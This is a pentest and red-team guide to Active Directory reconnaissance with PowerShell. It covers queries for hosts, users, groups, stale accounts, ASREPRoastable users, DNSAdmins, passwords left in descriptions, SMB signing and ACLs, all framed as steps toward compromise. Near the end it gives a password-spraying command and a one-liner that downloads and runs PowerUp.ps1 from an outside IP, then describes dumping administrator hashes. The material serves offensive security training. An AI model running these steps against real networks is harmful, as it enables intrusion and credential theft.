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In the first instance we must have a time control of the tests that we are running in our pentesting 
and red team operations.

Example:
New-Item $Profile -ItemType file -Force
function prompt{ "[$(Get-Date)]" +" | PS "+ "$(Get-Location) > "}

Let's verify devices connected in the AD, it should be noted that we will not only find Windows 
operating systems, several companies and corporations have Linux, Mac OS, etc. systems attached.

Example:
Get-ADComputer -filter {Enabled -eq $TRUE}

If you want to export the information in excel, we can use Export-Csv.
Get-ADComputer -filter {Enabled -eq $TRUE} | Export-Csv report.csv
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So if we want to search for specific operating systems, we can segment. In this example we will 
search only Windows 10 operating systems.

Example:
Get-ADComputer -filter {Enabled -eq $TRUE -and OperatingSystem -like "*Windows 10*"}

Note: Imagine looking for Windows 7, XP, 2000, etc assets without support with potential 
vulnerabilities between critical and high. (I constantly find this type of system in my audits)

Once the objective is identified, we can obtain information from the device.

Example:
Get-ADComputer -Identity PC-01 -Properties *
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A little more information.....

Example:
Get-ADComputer -Identity PC-01 -Properties *

¿What was the last open session on that machine?

Example:
Get-ADComputer -identity PC-01 -Properties lastlogondate,operatingsystem |select 
name,lastlogondate,operatingsystem

Get-ADComputer -Filter * -Properties * | FT OperatingSystem, ipv4Address, 
OperatingSystemVersion, OperatingSystemServicePack  -Autosize

Let's filter all the last open sessions on all Windows 10 Systems...

Example:
Get-ADComputer -Filter  {OperatingSystem -Like '*Windows 10*' } -Properties 
lastlogondate,operatingsystem |select name,lastlogondate,operatingsystem
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Bloopers: If you want to make a lot of noise and your boss says map me everything :P

Example:
Get-ADComputer -Filter * -Properties * | FT Name, operatingsystem, LastLogonDate -Autosize

View computers that haven't logged in to Active Directory in the last 90 days.

Example:
$Days = 90
$Time = (Get-Date).Adddays(-($Days))
Get-ADComputer -Filter {LastLogonTimeStamp -lt $Time} -Properties * | Select Name, 
LastLogonDate

Find newly added users (200 days) to Active Directory:

Example:
$When = ((Get-Date).AddDays(-200)).Date 
Get-ADUser -Filter {whenCreated -ge $When} -Properties whenCreated
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Find newly added groups in AD (200 days) to Active Directory:

Example:
$When = ((Get-Date).AddDays(-30)).Date 
Get-ADGroup -Filter {whenChanged -ge $When} -Properties whenChanged

Identify users enabled in the AD.

Example:
Get-ADUser -Filter * | Ft Name, UserPrincipalName, Enabled
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If you want to export the information in excel, we can use Export-Csv.
Get-ADUser -Filter * -Properties SamAccountName | Select-Object SamAccountName | Export-
Csv user.csv

Obtain information from a specific user. 

Example:
Get-ADUser kai.bel -Properties *

List Active Directory enabled users that do NOT require smart card authentication (PKI 
environment):

Example:
Get-ADUser -filter {Enabled -eq $TRUE -and SmartcardLogonRequired -eq $FALSE} 

List the group membership associations of a specific Active Directory user:

Example:
Get-ADUser -Identity elle.maggee -properties MemberOf | Select-Object -ExpandProperty 
MemberOf
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See that a user object exists, example the "Administrators".

Example:
Get-ADGroupMember -Identity Administradores -Recursive

View the last password change date for users in Active Directory:

Example:
Get-ADUser -Filter * -Properties PasswordLastSet | ft Name,SamAccountName,PasswordLastSet
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View users who changed their password in the last 10 days:

Example:
Get-AdUser -Filter * -Properties Name, Initials, UserPrincipalName, PasswordLastSet, 
LastlogonDate, description | where-object {$_.PasswordLastSet -lt (get-date).adddays(-60)} 

View a user's last session in Active Directory:

Example:
Get-ADUser -Identity Administrador -Properties "LastLogonDate"

See the services on the PC's AD (Last year a 0day called "CVE-2021-1675" came out, so imagine 
launching this scan and then owning through PCs running that vulnerable service.)

Example:
Get-ADComputer -Filter * | %{$_.dnshostname; Get-Service -ComputerName $_.dnshostname 
spooler} | fl
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List users with Kerberos pre-authentication disabled | ASREPRoast

ASREPRoast attack looks for users with don't require Kerberos pre-authentication attribute 
(DONT_REQ_PREAUTH).
Example:
Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-
Table name

Abusing DNSAdmins privilege for escalation in Active Directory

Abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a 
DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server.

Example:
 Get-ADGroupMember -Identity "DNSAdmins" -Recursive
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Password in Object Description

Sometimes we can find keys, etc values that can be written in the description of a user.

Example:
Get-ADUser -Filter {description -like '*'} -Properties samaccountname, description | Select-Object 
samaccountname, description

SMB Signing Disabled

This kind of attack is very dangerous because anybody with access to the network can capture 
traffic, relay it, and get unauthorized access to the servers.  

Lateral Movement via SMB Relaying.

Example:
Get-SmbServerConfiguration | select RequireSecuritySignature

Password Spraying

Password spraying is a technique used by an attacker to obtain valid access credentials that consists 
of trying the same password on multiple users.

Example:
Get-ADUser -Properties name -Filter * | Select-Object -ExpandProperty name |  Out-File users.txt 
type users.txt
Invoke-DomainPasswordSpray -Userlist .\test.txt -Password 123456 -Verbose
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Abusing ACLs/ACEs

Any misconfiguration in the registry's ACL permissions can allow a standard user (with low 
privileges) to make settings in GPOs, add users to a specific group, change passwords, etc.

Example:
Get-ADUser -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access}

Example:
(Get-ACL "AD:$((Get-ADUser -Identity 'lesley.cherrita').distinguishedname)").access | Select 
ActiveDirectoryRights,AccessControlType
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Beneficial tips :)

Use 64-bit powershells script on 32-bit PC.

Example:
powershell.exe -c "[Environment]::Is64BitProcess"
cd C:\Windows\sysnative\WindowsPowerShell\v1.0\
powershell.exe -c "[Environment]::Is64BitProcess"
powershell.exe -c "iex(new-object 
net.webclient).downloadstring('http://10.10.14.75:81/PowerUp.ps1'); Invoke-AllChecks"

The administrator that logs into any device without deleting its hash in the memory cache.

If you are a domain administrator or etc, you log into our device and we get to escalate privileges 
such as NT Authority System due to privesc Local, GPO, ACL, Token or etc attacks, we can 
perform a dump to extract the hash or password in plain text from the victim user.
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